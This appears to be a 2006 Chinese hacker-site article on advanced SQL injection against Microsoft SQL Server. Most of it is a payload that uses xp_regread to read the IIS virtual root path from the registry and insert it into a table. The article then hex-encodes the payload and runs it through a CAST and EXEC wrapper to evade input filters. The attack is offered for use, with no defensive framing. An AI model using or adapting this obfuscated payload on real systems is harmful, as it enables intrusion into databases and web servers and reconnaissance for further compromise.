攻击揭秘：SQL注入高级技巧nowthk篇
作者：unforgiven 来源：黑基 添加时间：2006-5-26 13:15:57方法如下:
| DECLARE @result varchar(255) EXEC master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’,@result output insert into xy (xy1) values(@result) |
全转换为16进制为:
| 0x4400450043004C004100520045002000400072006500730075006C00740020007600610072006300680061007200280032003500350029002000450058004500430020006D00610073007400650072002E00640062006F002E00780070005F0072006500670072006500610064002000270048004B00450059005F004C004F00430041004C005F004D0041004300480049004E00450027002C002700530059005300540045004D005C0043006F006E00740072006F006C005300650074003000300031005C00530065007200760069006300650073005C00570033005300560043005C0050006100720061006D00650074006500720073005C005600690072007400750061006C00200052006F006F007400730027002C0027002F0027002C00400072006500730075006C00740020006F0075007400700075007400200069006E007300650072007400200069006E0074006F002000780079002000280078007900310029002000760061006C007500650073002800400072006500730075006C0074002900 这时用DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C004100520045002000400072006500730075006C00740020007600610072006300680061007200280032003500350029002000450058004500430020006D00610073007400650072002E00640062006F002E00780070005F0072006500670072006500610064002000270048004B00450059005F004C004F00430041004C005F004D0041004300480049004E00450027002C002700530059005300540045004D005C0043006F006E00740072006F006C005300650074003000300031005C00530065007200760069006300650073005C00570033005300560043005C0050006100720061006D00650074006500720073005C005600690072007400750061006C00200052006F006F007400730027002C0027002F0027002C00400072006500730075006C00740020006F0075007400700075007400200069006E007300650072007400200069006E0074006F002000780079002000280078007900310029002000760061006C007500650073002800400072006500730075006C0074002900 AS NVARCHAR(4000));EXEC(@S) |
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